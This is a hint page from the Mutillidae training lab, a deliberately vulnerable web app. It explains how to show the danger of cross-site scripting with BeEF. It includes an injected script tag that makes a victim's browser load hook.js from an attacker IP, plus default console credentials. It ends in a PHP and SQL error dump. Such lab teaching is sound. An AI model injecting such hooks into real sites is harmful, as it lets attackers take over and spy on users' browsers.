Overview
Cross-site scripting and HTML injection may occcur when user or attacker controlled input is later incorporated without being encoded into the web server response. In other words, the attacker can send input which later is incorporated into the web page the user receives.
Development teams or management might not understand why XSS is such a big deal. Trivial demonstrations such as popping up an alert box do not help in these cases. The Browser Exploitation Framework (BeEF) allows remote control of injected browser making demonstration easy, effective and convincing.
Video Tutorials
Starting BeEF
- In the attacker machine, open a command prompt
- Start beef. For example in Samurai command is "beef".
- If unsure of where the beef program is located, the "locate beef" command may help
- Once BeEF starts carefully note the "Hook URL" and the "UI URL"
- The "Hook URL" will be embedded into the cross-site script sent to the user. Save this URL for later.
- BeEF starts a web server running. The "UI URL" is the URL to the administrative console set up by BeEF. Open a browser on the attacker host and paste the "UI URL". The BeEF administrative console will load as a web page. Login using "beef" as both the user name and password.
Using BeEF
- Verify the "Hook URL" works. This can be done on the attacker machine. Simply open a web browser and paste the "Hook URL". Verify the contents of the BeEF JavaScript hook.js is visible. It is quite lengthly and will be obvious.
- Create a cross-site script with the "Hook URL" as the value of the "src" (source) attribute.
<script src="BEEF HOOK URL GOES HERE"></script>
- An example is
<script src="http://10.0.0.1:3000/hook.js"></script>
- Inject this cross-site script into a vulerable input parameter
- The browser will download and run hook.js from the attacker host infecting the browser. The hook.js causes the browser to reach out to the attacker machine and connect to the BeEF administrative console
Controlling Hooked Browsers
- Look under "Hooked Browsers" in the BeEF interface. Currently hooked browsers appear as Online
- Click on a hooked browser to display options
- Commands are listed under Commands tab. Commands that are most likely to work have green marker
- To execute a command click command then "Execute". Note some commands have parameters
- Execute button is in lower right corner
- Command output can be viewed by clicking the respective record in the "Module Result History" tab
Videos
Warning: Undefined property: YouTubeVideoHandler::$IntroductiontotheBrowserExploitationFramework in /var/www/mutillidae/includes/hints/beef-framework-hint.inc on line 76
Fatal error: Uncaught Exception: /var/www/mutillidae/classes/MySQLHandler.php on line 229: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1 Query: SELECT identificationToken, title FROM youTubeVideos WHERE recordIndetifier = ; (1064) [mysqli_sql_exception] <br /> in /var/www/mutillidae/classes/MySQLHandler.php:237 Stack trace: #0 /var/www/mutillidae/classes/MySQLHandler.php(327): MySQLHandler->doExecuteQuery('SELECT identifi...') #1 /var/www/mutillidae/classes/SQLQueryHandler.php(309): MySQLHandler->executeQuery('SELECT identifi...') #2 /var/www/mutillidae/classes/YouTubeVideoHandler.php(23): SQLQueryHandler->getYouTubeVideo(NULL) #3 /var/www/mutillidae/classes/YouTubeVideoHandler.php(340): YouTubeVideos->getYouTubeVideo(NULL) #4 /var/www/mutillidae/includes/hints/beef-framework-hint.inc(76): YouTubeVideoHandler->getYouTubeVideo(NULL) #5 /var/www/mutillidae/hints-page-wrapper.php(75): include_once('/var/www/mutill...') #6 {main} thrown in /var/www/mutillidae/classes/MySQLHandler.php on line 237